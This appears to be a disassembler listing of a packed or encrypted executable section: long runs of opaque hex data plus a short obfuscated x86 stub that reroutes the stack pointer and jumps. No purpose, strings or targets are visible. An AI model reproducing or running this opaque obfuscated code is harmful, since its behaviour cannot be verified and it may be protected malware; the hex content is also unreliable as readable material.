		dd 120BB4F2h, 175C10C4h, 26C7F997h, 0B85Ah, 85890000h
		dd 62C08B1h, 0D71B58Bh,	0C00B062Ch, 54840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 66D6B2C3h, 0B5FFD38Bh, 62C1FA1h, 34498529h, 0C5BA062Ch
		dd 0FF527E5Bh, 2C15F595h, 11E806h, 17520000h, 9DC7B63Dh
		dd 0D0DAAA8Bh, 6344252Ch, 5A24CAF0h, 8ACF8B60h,	0C08B61C6h
		dd 261D8D89h, 830F062Ch, 3, 83D2BF0Fh, 2C1D65BDh, 9750006h
		dd 23D9BD83h, 7400062Ch, 8B535019h, 42DB8C0h, 85890000h
		dd 62C343Dh, 0B1D39D8Dh, 0D3FF062Eh
		dd 0BD83585Bh, 62C23D9h, 50177400h, 42DB853h, 85890000h
		dd 62C343Dh, 0AE749D8Dh, 0D3FF062Eh, 0BD89585Bh, 62C2BEDh
		dd 0F75958Bh, 0C08B062Ch, 8BF28B66h, 0FE8C0h, 47710000h
		dd 0D36481A0h, 0BA35AC7Fh, 0B823F3CDh, 0F7BF0FD4h, 0C381F55Bh
		dd 6BD8h, 12E9h, 475B9600h, 9E56DFFAh, 2F527473h, 926EA2B2h
		dd 0B8E20198h, 66F02C7Ah, 0EE4CC081h, 952B990Fh, 62C0BCDh
		dd 85290B8Bh, 62C2671h,	0F5A0F181h, 0BD2917B6h,	62C2B3Dh
		dd 0EDF4F181h, 0CA800457h, 18F1813Ah, 6077398Dh, 0BD8B52F9h
		dd 62C0999h, 0B89615Fh,	0F3F78166h, 3EB838Dh, 0A59BD2Bh
		dd 94B062Ch, 2C04FDBDh,	850F4806h, 1Ch,	68D0Fh,	8D310000h
		dd 62C1CB9h, 25E9h, 0C94D4B00h,	4D2EDF82h, 2DDA59EEh, 1E09BD03h
		dd 8DE9062Ch, 9FFFFFFh,	71ECC27Fh, 58C7CB81h, 9C601D85h
		dd 1CE983AEh, 0CC000000h, 37172Ah, 5 dup(0)
		dd 0E9000000h, 597h, 3586A6EDh,	0CF20AA84h, 6ABB431Eh
		dd 354E0B9h, 9FF07652h,	815DF811h, 1BF9AAFBh, 0BA974899h
		dd 0EC34E536h, 42D07DCEh, 0F6DA8F03h, 0FBF9CF37h, 0F9835D92h
		dd 88096151h, 0B1331140h, 11B91909h, 2780103h, 0AAE0B096h
		dd 6FF5D152h, 4D2B601Eh, 0AAF273CBh, 9BE3E48Ch,	0FAD4D57Dh
		dd 99F9175Fh, 249AD91Bh, 6631C212h, 122599D8h, 0F56531C2h
		dd 0C3472495h, 1BD32B1Bh, 2B24E32Ch, 4547C5E3h,	92880FEh
		dd 3C9DF5B4h, 89FD3C7Eh, 0C931C2A6h, 269CDB59h,	6831C2A6h
		dd 421FA0F8h, 0C30B40BEh, 21FCFDA5h, 80E13999h,	0F06EF2CFh
		dd 0E859DFBBh, 7830880Ah, 6F179977h, 3DE1365h, 0A5310A7Bh
		dd 4011F84Dh, 0DD8EDF63h, 0C4CF7795h, 31C2A64Bh, 0BF07367Eh
		dd 0A909F9A1h, 9B270001h, 888F28F3h, 0A6378BCAh, 0E75731C2h
		dd 6722E787h, 59FF5B5Dh, 4684A2EAh, 96732776h, 1A7A6A12h
		dd 8AE95D9Ch, 0B92931C2h, 2200E661h, 4CB75E56h,	79000000h
		dd 4B28579Fh, 66511FC7h, 944BA840h, 0CF77D737h,	0C2E64CC4h
		dd 8E894E31h, 55F5F1D7h, 360F445Eh, 0BA1202AAh,	0A90h
		dd 0D27C7E00h, 7E546ABEh, 9FD48EE6h, 92933BC5h,	85862EB8h
		dd 897820ACh, 0AE885940h, 0DA22D324h, 9F816BBCh, 8ABF3DC3h
		dd 908028AEh, 3D728038h, 0FF80D864h, 24428A25h,	0AE2C8C7Ch
		dd 0BAD92D6Ch, 89F931C2h, 15AE7931h, 0CF0E5072h, 31C2BA7Bh
		dd 78CE0D9Bh, 9A31C2BAh, 0F172CA2Ah, 0DC327115h, 0FE31C2BAh
		dd 1FDD2E8Eh, 0BA289EDDh, 7B5531C2h, 0CD2595F1h, 2208044Ch
		dd 0D41E02F6h, 0FCFE7CDCh, 0A190ABA8h, 4D055D43h, 6BE9714Ch
		dd 0E9C55836h, 6BCBBB63h, 0C37BD3C3h, 0E1F493ACh, 5E56430Bh
		dd 54A2h, 0C39F6400h, 0B994953Dh, 519A8931h, 37BD99B6h
		dd 0A7E628E6h, 31C2BA53h, 8CAAF273h, 7753D42Ch,	6F4849F1h
		dd 0C66EF8D2h, 0B7CE76D6h, 16ECFB9Eh, 0AD5E5650h, 42h
		dd 3DC39F6Fh, 49AF8ABFh, 0B590AC0Eh, 79D131BBh,	5FE3C0C1h
		dd 0EAAD72B7h, 429319F5h, 3BC59F58h, 62838593h,	0A793C8FBh
		dd 0B30C97EFh, 9731C29Ah, 0FE1C6499h, 9FB651A6h, 5E5631B9h
		dd 170h, 0C49F3200h, 21C94F2Bh,	18C04220h, 0C068C828h
		dd 0B15977BFh, 0A34BD7B0h, 0EC63C5A2h, 5C479215h, 0AC9B43A3h
		dd 42BCA463h, 96716E29h, 0C95EBD0Eh, 80BF017Fh,	31C2960Ah
		dd 2DE0FE4Ch, 0CFCCCB3Ch, 9C89316Fh, 48AB44C3h,	0A22362F0h
		dd 0FA37EED4h, 9FD4E28Ah, 0C7532CC3h, 77CFBF67h, 3F90AEF6h
		dd 0AA28468Eh, 0B06070A8h, 0F850F132h, 6DC33540h, 0E5AA37EEh
		dd 0C7E52D22h, 0E414749h, 6630A5Fh, 0D1F54988h,	0A51537EEh
		dd 0F33BEC4Dh, 4D6CEFF7h, 0E646372Eh, 0D0583368h, 28E03828h
		dd 19C1DF27h, 0FDD2B54Eh, 9B4697B5h, 5829A1B5h,	1626Ch
		dd 90922E00h, 68B75359h, 0D3C94ADh, 6EB02E78h, 0C2AFDB2Fh
		dd 338BFB31h, 0C88D66A5h, 3DAD37EEh, 2E4C9495h,	0DB2F6EB0h
		dd 0E637EE83h, 0ECDC840Ah, 4FC30290h, 8F37EE83h, 667BF1Fh
		dd 92D10D55h, 37EE833Ch, 3D91D05Eh, 5D37EE83h, 852D8DEDh
		dd 0A01E3C84h, 0B30B8D6Bh, 0F09730FBh, 0FB7997DFh, 49F8F3F9h
		dd 1D753885h, 512B11BCh, 31E2582Ah, 0A4000000h,	95135DF1h
		dd 0BABE1453h, 70E031C2h, 0D74B8A18h, 37B1C2BAh, 0BE141FC7h
		dd 0F1B1C2BAh, 5CF2B158h, 0C3579614h, 4331C2BAh, 0C07382D3h
		dd 85000000h, 94125CF1h, 0EECA6055h, 441FA037h,	9F47D1ABh
		dd 0B7A74FAFh, 66AEAF57h, 439F748h, 8F8A02Ah, 0C9E72FB0h
		dd 0AAA71621h, 0F8D237EEh, 0EBC5C66Eh, 58C9B961h, 8550F87Ah
		dd 90452DECh, 0F8845D92h, 864C4BA0h, 0B3F17351h, 0C791744Bh
		dd 4ACB23C6h, 6EFAD302h, 4B5DB1F0h, 0D7D37EEh, 68FD5CADh
		dd 5C5EA01Eh, 74EA1752h, 0C90886F6h, 37EE7D75h,	42CD2595h
		dd 31DBDD59h, 5B691181h, 9264DA19h, 71C43DA3h, 585E97DFh
		dd 368EFE5Ah, 0D14F6DB5h, 8AFA508Fh, 0AC1C3DA3h, 0BE9B9C54h
		dd 0B691923Ah, 637C862Eh, 0F042BCA4h, 0A07984EEh, 4FA7B8ABh
		dd 0FF941FFAh, 17F837B5h, 373B960Ah, 0F18C76C7h, 5594125Ch
		dd 37F71A74h, 7B7C2494h
		db 33h,	15h
word_580046	dw 13C4h		; DATA XREF: ___:off_427A80o
					; ___:00427A88o ...
		dd 0FA05ADCBh, 64D266F2h, 18C9D019h, 0F234B2D0h, 95145FB3h
		dd 0B70F7F06h, 3F5DA556h, 31BD9697h, 0A3667F89h, 0F74866AEh
		dd 75C93739h, 9A42C8A4h, 37BF6CAAh, 1A62E33Bh, 0A6CC861Eh
		dd 0D918934Ch, 695E565h, 75D535A5h, 86ECDh, 0F7800000h
		dd 4FDBB4E9h, 589F3DF7h, 478F9038h, 0A3808129h,	9876771Fh
		dd 916D6E16h, 8662630Bh, 7E575800h, 6E494AF2h, 633D3EE6h
		dd 681531D9h, 2F9Fh, 52240489h,	0C281E289h, 4, 8704EA83h
		dd 895C2414h, 8950240Ch, 405E0h, 0E8830000h, 24048704h
		dd 2404895Ch, 7FB76852h, 815A0E30h, 9A11B4E2h, 38F28122h
		dd 89114D21h, 0D9F75AD1h, 0E981D9F7h, 75EF062Dh, 52C18141h
		dd 6868C636h, 2696h, 83242489h,	58042404h, 719068h, 240C8900h
		dd 52240481h, 8F38C621h, 68810840h, 0C6215208h,	2434FF38h
		dd 4C48358h, 56240C8Bh,	0C681E689h, 4, 4C681h, 34870000h
		dd 6BE95C24h, 45FFF816h, 86228382h, 0B8064928h,	63465A5h
		dd 0E0FFC503h, 4102A5B3h, 0DF4CEBCh, 1E116A87h,	1A9B84EAh
		dd 670A8D8Dh, 6A0634h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 89C13AC3h, 2C052DB5h, 0A58D8906h
		dd 66062C2Bh, 3ACF281h,	2A4ADF81h, 85C77295h, 62C12D9h
		dd 5D08h, 29C185C7h, 62Ch, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0A537E6C3h
		dd 32D9246Fh, 29B1B533h, 8B66062Ch, 99B5FFDAh, 0E9062C05h
		dd 11h,	0D440F28h, 0CF0C5783h, 0B3E738CEh, 88E67E4h, 0F595FF15h
		dd 2B062C15h, 2C2B3D9Dh, 0FF006A06h, 2C26B195h,	0EBC08B06h
		dd 0E2365F29h, 0F7BA5731h, 0C19BB1FFh, 8F20F7F5h, 26DD29FDh
		dd 36B1E03Fh, 0B2F11D5Ch, 0DC8F1984h, 0A950A616h, 7296B2FBh
		dd 8D8DD11Ch, 634681Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 24C35747h, 0BBB866ABh, 0A58D890Eh, 6A062C2Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0D683C351h, 7BFBE029h, 0D985C706h, 0C4062C12h
		dd 0E900005Dh, 14h, 95E0C321h, 820BC4EBh, 24469F99h, 7A730406h
		dd 750A2184h, 29C185C7h, 62Ch, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0BC5DA6C3h
		dd 66B2A909h, 0FF9EE0BBh, 2C2D19B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 153110CFh
		dd 6860FF1h, 0F000000h,	84h, 0F595FF00h, 0B8062C15h, 504144C1h
		dd 95FF006Ah, 62C26B1h,	5CEBC08Bh, 0CA95894Eh, 22840D57h
		dd 3C239731h, 24C287A4h, 0B931EC82h, 0E61B9B0h,	14E67DECh
		dd 85225059h, 0D57F929Fh, 0F81F8289h, 3FD59EBh,	8B0C7316h
		dd 46E524FBh, 3FBFADC2h, 0B49C66C3h, 0D8B6A48Dh, 3EA6CCFDh
		dd 179C7738h, 0AE829ED7h, 5CB4ADC9h, 8170C29Bh,	72AD47D4h
		dd 12264681h, 12E8h, 86943300h,	0B94B423Ah, 62CCF9BAh
		dd 308A1550h, 8B19D1BEh, 2C16359Dh, 0B5895E06h,	62C2DBDh
		dd 6150C681h, 9D890000h, 62C2B11h, 1829B8h, 3F41BB00h
		dd 36FF4011h, 1A59D89h,	35F062Ch, 2C018D8Dh, 17F78106h
		dd 0B32CB186h, 13C78150h, 506C4C0Dh, 815AE6B3h,	17089AF7h
		dd 5E97Dh, 1D180000h, 89E3F515h, 7E83Eh, 6F360000h, 0E4F7692Fh
		dd 8159F9ABh, 0E45D38EEh, 958D091Eh, 81062C04h,	0E45D34C6h
		dd 0FE81Eh, 0CF9E0000h,	0AD4039A0h, 13571085h, 1F7E4FDAh
		dd 5E9C4h, 45090000h, 5BD1066Bh, 87850F48h, 0B5FFFFFFh
		dd 0E900EBC5h, 3CCh, 0ADFE1E65h, 479822FCh, 0E233BB96h
		dd 7BCC5831h, 1768EECAh, 0F9D57089h, 93712273h,	320FC011h
		dd 64AC5DAEh, 0BA48F546h, 0F6D3077Bh, 73714737h, 0BD3BC59Fh
		dd 0CE26AC88h, 59E1BC6Dh, 3C154A08h, 0FED758B0h, 94702172h
		dd 825B900Eh, 0E05E4EF6h, 0C2BA2DA1h, 0A5FD6D31h, 13B79344h
		dd 0C2BA7ED4h, 0D030A031h, 6EF0CE7Fh, 0B8F6C1Dh, 0F87A588Dh
		dd 0A7086050h, 3F90AEF6h, 0F6286384h, 0FD65F837h, 5433C6FBh
		dd 126A240Ch, 3C1A4991h, 99E95D9Ch, 0B92937F1h,	61C1B159h
		dd 0EC62A1E3h, 2E37F199h, 0A0AE66BEh, 8552679Eh, 5CB4E648h
		dd 0CE7602DBh, 0F9B74B5h, 80CA5FBEh, 0B08BC002h, 38908028h
		dd 0DD7EE8ADh, 3F870831h, 29897921h, 0F2317381h, 3D9D7E9Ch
		dd 6BF64EBEh, 3D9D7E13h, 1BC34B26h, 11B93D1Ah, 472BEE07h
		dd 0F5E0A7C0h, 51F68E0Fh, 139C6h, 0C39F8800h, 0B994953Dh
		dd 2C998931h, 0E51A5C9Eh, 0ECDC8408h, 0C2BA1D71h, 4FCD3D31h
		dd 0C2BABA10h, 146CDC31h, 0C2BA2189h, 31D94931h, 79CAE830h
		dd 8027B9BBh, 0E3773775h, 0A4C20A8Bh, 6EB84DFCh, 8A04B1F0h
		dd 44B437EEh, 9E79929Ch, 897D79C1h, 0D2F2A3F8h,	26DEB8F6h
		dd 2B7DEF3Eh, 0CC0B4DCBh, 37EEF476h, 6FD02898h,	0B3317B10h
		dd 0C2AE1F74h, 0DE81D31h, 73C12D85h, 2CB0676Ah,	42EA4ACAh
		dd 8C23FF34h, 918129B1h, 41998931h, 140E4C0h, 3D9A248Dh
		dd 0ACFD5DCDh, 1B991FFBh, 2E8608E6h, 0E933C776h, 24262C6Bh
		dd 0A4A63D9Ah, 7753CC66h, 1B5949F1h, 8BFC0000h,	66D22AAEh
		dd 722599D8h, 0F5653D9Ah, 50E54495h, 0E0498806h, 83BB673h
		dd 73C73B7Ah, 97072346h, 0B28E8F37h, 10B8401Bh,	6AE320Fh
		dd 556B616h, 4AF27854h,	3FBD079Bh, 0FDA5310Ah, 0E827B50Dh
		dd 2346735Eh, 9B25FF80h, 4EBBBD3Bh, 0D95B3969h,	35034131h
		dd 0F433B1C9h, 23468B9Eh, 97F850C0h, 6840AE6h, 3F7BD904h
		dd 83DBB09Fh, 26626422h, 41C7469Bh, 0DE3EC8A2h,	30AD2160h
		dd 7DED2346h, 5CF16B25h, 0D1E08B34h, 2A8ABB72h,	0B8846DACh
		dd 44B437EEh, 35539B9Ch, 11C2CFE4h, 926BFEDCh, 0EFEA606h
		dd 98F387B6h, 9F8F37BBh, 3688933Fh, 4337EEBFh, 0DB8CDDFBh
		dd 0CCCD7593h, 0F3BE6684h, 5AA2BF5Ah, 5A40EB3Ch, 11582A4Ch
		dd 1Ch,	125CF1D3h, 0DBB85594h, 0D75837EEh, 0D9C9718Fh
		dd 88D0D179h, 1E0A196Ah, 1C000000h, 0F8845D92h,	0BA461FA0h
		dd 0C72B073Ch, 0E7051997h, 42B3131Bh, 0CE86DE68h, 166785CDh
		dd 3AC69F2Ch, 6FAE3CE9h, 31C2BA07h, 1E1FC737h, 610B8D6h
		dd 0AB392AEDh, 0C2BA0A6Ch, 46C43431h, 0C2BAB307h, 0E563D331h
		dd 0BAEE64A3h, 0AF3031C2h, 0B3A34BD5h, 0E99AFB53h, 743283A1h
		dd 0BA9FF332h, 4FBF31C2h, 8CE7A2F7h, 21h, 39579F9Eh, 2A489091h
		dd 5A356AACh, 0BAE357D2h, 0B32331C2h, 3A3CFA5Bh, 0CA32580Ah
		dd 6F98F0F6h, 38589F35h, 29478F90h, 1FA38081h, 16987677h
		dd 0B916D6Eh, 866263h, 0F27E5758h, 0E66E494Ah, 0D9633D3Eh
		dd 89501531h, 405E0h, 0E8830000h, 24048704h, 243C895Ch
		dd 0D3668h, 24348900h, 81E38953h, 4C3h,	4EB8100h, 87000000h
		dd 895C241Ch, 0BA52242Ch, 634693Ah, 835A5E52h, 248904ECh
		dd 24048324h, 0B9515D04h, 8, 3189E901h,	81240C8Bh, 4C4h
		dd 242C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0BDB643CEh, 60767591h, 123F88BFh, 346C80B8h,	0FFC50306h
		dd 0B2BF1AE0h, 76034436h, 3A2BAE05h, 62189B5Ch,	50EEC45Ah
		dd 0A43E3B3Ah, 1C3B3125h, 0DA022E36h, 8D0C0F3Fh, 0D26C6A7Bh
		dd 64695E63h, 0A393007Bh, 0C09302Ch, 945D944Ch,	5B780D5Eh
		dd 193D33Ch, 0D8A4765Dh, 27BD665Ah, 0F782294Dh,	16041054h
		dd 20A2CB5Ah, 3AFE4440h, 0E13CB932h, 0B109CD52h, 170F01Dh
		dd 97FDF40Eh, 0DFBD2824h, 18863754h, 0EAD9A773h, 0EE940h
		dd 9D3F0000h, 7F8CBD73h, 0FAD41E6Fh, 0A4D0022Eh, 7E7FE781h
		dd 0E9812CB6h, 43E6E3D2h, 0CBD28166h, 12E9606Dh, 6E000000h
		dd 635387EBh, 6AE418F1h, 503E8E45h, 31F31BD1h, 81666076h
		dd 0FE98CE7h, 6161C6BFh, 0B860Fh, 6E90000h, 8F000000h
		dd 1076E5D4h, 14E856FEh, 16000000h, 0FBC05537h,	75E56D1Bh
		dd 0F6F05F62h, 0D391F37Bh, 0E997E89Ah, 5, 0CDE4C1C8h, 0B55B596Dh
		dd 5E9B8h, 4CC10000h, 0F504B7B8h, 10E8h, 439FBC00h, 0EBB9FA51h
		dd 674AE348h, 105757C4h, 7E860A9h, 66000000h, 16CCCDDDh
		dd 525ABE96h, 665A615Bh, 0F5EEE81h, 8AC2BF0Fh, 98F380C1h
		dd 0CE8h, 766C2300h, 192B45C9h,	676C82A4h, 0F0805846h
		dd 810F22h, 0B2000000h,	8860F41h, 51000000h, 890Fh, 815B0000h
		dd 7CAC73D9h, 1F870F49h, 0E8000000h, 0Dh, 142CB156h, 9025C0DFh
		dd 0C7BB1366h, 6E8C8h, 47820000h, 36C1EA3Bh, 0D9815E5Eh
		dd 79BDA714h, 0EA816653h, 0E8590581h, 9, 56699C11h, 5B61DCB0h
		dd 0D3BF0F08h, 86EB805Fh, 166BC081h, 14E80178h,	41000000h
		dd 0A1FBF670h, 9762BD21h, 0ADA249Ah, 85AA7CD0h,	6644AE57h
		dd 299E081h, 34BF665Ah,	0D7B70F72h, 88C0Fh, 81530000h
		dd 4AE06BCFh, 14E85813h, 0CA000000h, 2A3056E9h,	3A05F6A2h
		dd 4561DE4Fh, 303BE573h, 807D9D99h, 665F1AEAh, 2830F281h
		dd 48E0Fh, 0B9660000h, 8B66C31Ah, 0EF8166CFh, 8D0F3ED7h
		dd 3, 56F0B70Fh, 8058AFB4h, 12E88EF0h, 0E5000000h, 0F05F6275h
		dd 91F37BF6h, 97E89AD3h, 0FFD95B40h, 0ECCFB823h, 0F5E41EFh
		dd 38Dh, 1FDA8000h, 1E8C0Fh, 830F0000h,	18h, 13E9h, 472C0A00h
		dd 9AC935B5h, 29B83E26h, 41457F82h, 0CA2C5F2Eh,	12E9h
		dd 0BE655F00h, 0B54AD9CCh, 0A2C24DBAh, 0ADFC485Eh, 66737809h
		dd 0D580DE8Bh, 73D380B0h, 800Fh, 8A0F0000h, 5, 0CC7999BFh
		dd 7E973h, 6770000h, 0F8024625h, 8E0FF5F4h, 2, 0DE9C4B1h
		dd 0CC000000h, 4C5AD703h, 5C60DDEBh, 5F134A87h,	81C3BF0Fh
		dd 0D83B74F3h, 0BA66603Ah, 12E9A1DDh, 4000000h,	71E824A0h
		dd 4F25F9A5h, 561F0093h, 0DA96EADEh, 0B9666174h, 8166A15Ah
		dd 60CD48E1h, 0F5B1F18Bh, 41D98161h, 802FF66Ah,	0B70F82F1h
		dd 0B650D6h, 0F380605Bh, 0C18161E8h, 6B7C0A8Ah,	12860Fh
		dd 0DE90000h, 54000000h, 0F3864F52h, 9B2C3EB2h,	57E11EF2h
		dd 0F744B966h, 66D78B66h, 4505DB81h, 2880Fh, 94B40000h
		dd 46AD68BEh, 3E9810Bh,	0F510368h, 38Fh, 58ED8000h, 0FD78B60h
		dd 0BF61D0B7h, 2F9233F1h, 66FB8B66h, 397ADB81h,	38B0F60h
		dd 0F000000h, 0BF0FC2B7h, 816661DAh, 0E8BC5ACFh, 0Ah, 0FC8091EEh
		dd 3CB1C6A5h, 8D0F4752h, 16h, 11E9h, 0A12F5700h, 57389E0Dh
		dd 217ABEEBh, 40AEDBA0h, 805FF1C8h, 8B6623D4h, 0C840FD9h
		dd 0F000000h, 68Ah, 8E0F00h, 0F000000h,	58Bh, 0F3816600h
		dd 820F9E8Eh, 4, 5ED98B53h, 664DCC80h, 3C09C281h, 9E9h
		dd 18D02600h, 9A6E7A7Dh, 11E89605h, 43000000h, 0D858443Ch
		dd 906470BFh, 7B1BD96Fh, 74EA4466h, 5BDED380h, 0C7EE981h
		dd 81662992h, 0E8DAB6F0h, 0Eh, 0ABAA42D3h, 11B28C7Ah, 645F3632h
		dd 8166B4A1h, 59B6F2CEh, 14830Fh, 0EE80000h, 8000000h
		dd 91792896h, 975AB879h, 867FAD82h, 8E0F5AA3h, 3, 66A6CB80h
		dd 6553C281h, 78F0Fh, 66530000h, 0F665E281h, 820F5Ah, 0E9000000h
		dd 10h,	398B3AB9h, 0E6A9E549h, 0C968F598h, 0F2F51A17h
		dd 0FF3B70Fh, 8E0FCBBFh, 5, 53EA8166h, 9CBB6686h, 9E9C2h
		dd 9D5B0000h, 10D8237h,	6604F03Dh, 4FDCDE81h, 0B70FFC8Ah
		dd 15810FD2h, 0E9000000h, 10h, 0D2562B9Ch, 0FC5F3EB7h
		dd 6B0B5B9Ah, 0B15B981Ch, 61766CBBh, 9E974h, 0D9800000h
		dd 8E0C88E6h, 0E92D39E7h, 13h, 70669F79h, 2D90B2A5h, 9E946B63h
		dd 0A1999C21h, 0F0178D7h, 81h, 0AE800h,	0ED480000h, 573E7FD5h
		dd 81B1E5A1h, 58F0Fh, 81660000h, 5EB014DAh, 0A57DBAFCh
		dd 8B50300Dh, 0DE95ED6h, 0C5000000h, 44331D16h,	645BFDE1h
		dd 788433DDh, 6830F60h,	81000000h, 0B97FDE1h, 10E91Bh
		dd 0BE8F0000h, 0E8EF42B6h, 721A8292h, 4E6179D8h, 0F61EACBh
		dd 0D88BD0BFh, 7807B1BFh, 0E9D68B44h, 12h, 0EB67B7C1h
		dd 1E4990AEh, 0CD4A818Eh, 33359783h, 0ABBB3F7Ch, 0B15F70B9h
		dd 0A890FC5h, 60000000h, 297ACFB8h, 0D78B667Fh,	0B70FFC61h
		dd 0DE8F9h, 0EE4A0000h,	0A239D258h, 649DB663h, 604C9AEFh
		dd 36D1D881h, 0FE9112Fh, 0FF000000h, 28ACE45Ah,	6F8B00BFh
		dd 0BF590DEAh, 5B61BF0Bh, 11E960h, 0DCD60000h, 5189A2EFh
		dd 0AD42BC80h, 0B26E13Fh, 57C40754h, 8E0Fh, 615B0000h
		dd 9E33EA81h, 7E94EE8h,	66000000h, 68030F3Dh, 0DE9C097h
		dd 0A000000h, 0E7F23A96h, 0D503EAEDh, 0CA603BB5h, 60D8BF0Fh
		dd 6820Fh, 8F0F0000h, 0
		dd 61D2B70Fh, 14E9h, 0E2BDA100h, 467E64A6h, 0C42B1AD5h
		dd 4D2CB8CBh, 0C244FE14h, 7D2FBB33h, 0F08064B7h, 0B8D0FD6h
		dd 0F000000h, 58Eh, 0EF816600h,	8F0FA9A2h, 6, 96B86652h
		dd 8E85BA3h, 14000000h,	680EA5B4h, 0E9C43AF8h, 0Fh, 7692347Ch
		dd 27DF91E7h, 2FD4693Ah, 58B0DFC4h, 8051C88Bh, 6659C8F7h
		dd 8D0FCB8Bh, 11h, 7E8h, 63188600h, 0DC4C2564h,	5350BE66h
		dd 14E85Ah, 0ABF80000h,	75EDBB0h, 1F0C877Eh, 9614E582h
		dd 0A628FD5Ch, 0C28B6682h, 4CC6805Eh, 94CA8166h, 0E9CA8B19h
		dd 7, 6D024D7Ah, 0E9B81666h, 12h, 0C17E39C6h, 6EC042h
		dd 94CA40A0h, 5106EB9Fh, 0F2810EC7h, 2324C960h,	38B0Fh
		dd 0BF0F0000h, 8B6660CBh, 5F5360D7h, 7E9h, 22523900h, 9A245ABFh
		dd 8A566161h, 840F59D3h, 3, 66CFBF0Fh, 15CBF281h, 0CE66D381h
		dd 8E90086h, 75000000h,	8D595BC0h, 0F12A8F7h, 0DF81F6BFh
		dd 61DDB0DBh, 68EFB866h, 0BF0F5660h, 0AE95AF9h,	4000000h
		dd 4AA79858h, 46A30B33h, 0B70F6160h, 0CE8B66D0h, 0D7AAE981h
		dd 665767FEh, 5E3B27BAh, 0AE8h,	9174E00h, 0A39BEB62h, 0B7B23A56h
		dd 66605BFAh, 8D60F081h, 2850Fh, 0C88B0000h, 0C3BF0F61h
		dd 0A4EEEBAh, 8166576Ch, 5FE34AEAh, 9AB752F9h, 0F7806058h
		dd 0F7BA66ADh, 81666139h, 661547F3h, 0BF66D38Bh, 8B663B0Bh
		dd 890FF1h, 81000000h, 60CED5F0h, 92DE812Ah, 0F6A2BA9h
		dd 0B866F6BFh, 0C28A2C81h, 0F7B70FF8h, 2E21B866h, 0C860Fh
		dd 0E9530000h, 5, 55625BD3h, 0FE85FCDh,	14000000h, 0D705E53Dh
		dd 0E20752FCh, 27F57198h, 0C9811910h, 1A2DFB37h, 0E9A2B758h
		dd 11h,	0CA7F4104h, 0F093FF09h,	5B93381Ah, 0E0FA2E22h
		dd 665E51A2h, 0EA90C181h, 12E9F9h, 8FCA0000h, 98C3D907h
		dd 0FE3FB28h, 518A3CC9h, 0B36F0A03h, 14E9h, 0D4C59600h
		dd 6095FFFBh, 87B272E4h, 0B99E9C70h, 27491B97h,	0EFD38074h
		dd 1A8B0F60h, 0E8000000h, 14h, 1651828h, 263D8725h, 6E003C1Fh
		dd 0C1568840h, 8F60FEAh, 5E95Eh, 0C6D0000h, 61D9C67Dh
		dd 0FC38B66h, 1E83h, 13E800h, 81930000h, 0BAFE1295h, 0F3327CF8h
		dd 47ED32BEh, 0CF85D22Ch, 0EB816621h, 0B85F1CCCh, 2742C578h
		dd 11E8h, 2B4E0100h, 69E27EE8h,	0EC1CFFACh, 0F2BF4A0Bh
		dd 7E844BAh, 79000000h,	4DDC3C7Bh, 5F5905C4h, 56C18166h
		dd 0FE8B6668h, 29FBD081h, 0BE915C6h, 33000000h,	0E3F77EF7h
		dd 9D34BDABh, 8D0F046Ah, 6, 830Fh, 81660000h, 66E569CAh
		dd 0F5FCEABAh, 4820Fh, 0BB660000h, 9E92094h, 0F000000h
		dd 0D28A3FB0h, 0C5B89A43h, 6C2CBF66h, 0FDEDE80h, 386h
		dd 82E48000h, 0F879B060h, 0D3B70F61h, 0B9C08166h, 8189B38Fh
		dd 471402D9h, 3FB0B87Fh, 13E85955h, 5C000000h, 0ADF95D65h
		dd 107FE724h, 5CAD341h,	95126246h, 0B70F7C65h, 0FF55FF8h
		dd 9E8C6BFh, 0D9000000h, 6F14BCB2h, 43DB639Dh, 8E0F56h
		dd 5A000000h, 0D7D28158h, 0E97B9FABh, 0Dh, 1FA5A7C9h, 0F8BD87A5h
		dd 9CD4A839h, 0E93FB3C2h, 0Ch, 7E4FDA13h, 0F6CFC41Fh, 1B49D7C8h
		dd 56513DB4h, 5E9h, 5AC06E00h, 5F59FE4Fh, 2FC78166h, 0EE97Eh
		dd 0AC8A0000h, 0EF6AB616h, 0BE804340h, 0CB2C0EA1h, 2DE38166h
		dd 0C381663Eh, 5E95811h, 90000000h, 0FF2348ABh,	870Fh
		dd 81660000h, 0E8AC0CEEh, 5, 6E37A974h,	99BF66CDh, 8F0F5F63h
		dd 5, 7DF38166h, 66F78B25h, 0B81AF1B9h,	2AFC0439h, 7BE3BB66h
		dd 0DFD68166h, 3810FE7h, 0F000000h, 6060F7BFh, 8E0Fh, 81610000h
		dd 967CE1C7h, 0F380613Ah, 0DE9F8h, 0F3CC0000h, 0D50490h
		dd 1E7EECC1h, 56D822D5h, 0BE8h,	28764D00h, 2D37FED9h, 72370DB0h
		dd 5F5B5F56h, 9AA949BAh, 0F7BF0F59h, 7493BE66h,	60C28B66h
		dd 68A0Fh, 840F0000h, 0
		dd 8B0F51h, 59000000h, 0C5BE6661h, 0F7BF0FBCh, 2CE88160h
		dd 806EDBD8h, 0F6107C3h, 389h, 0C18B6600h, 3303D081h, 0E9F914E7h
		dd 0Ah,	0AFA4E4D2h, 9661B145h, 0B70F4067h, 0B8C0FFFh, 0F000000h
		dd 587h, 0F3816600h, 0F86032ADh, 0BA61FBB5h, 6B8E9A1Eh
		dd 0DA8B6657h, 4FD6815Bh, 0F73DA78h, 585h, 0D7816600h
		dd 9B66D58h, 108D0Fh, 0BE90000h, 4A000000h, 93EC647Ch
		dd 64654D2Fh, 0BF0F4337h, 98D0FD9h, 0F000000h, 383h, 0F0B70F00h
		dd 14840Fh, 8C0F0000h, 0Eh, 9E9h, 0D8E90400h, 533774B6h
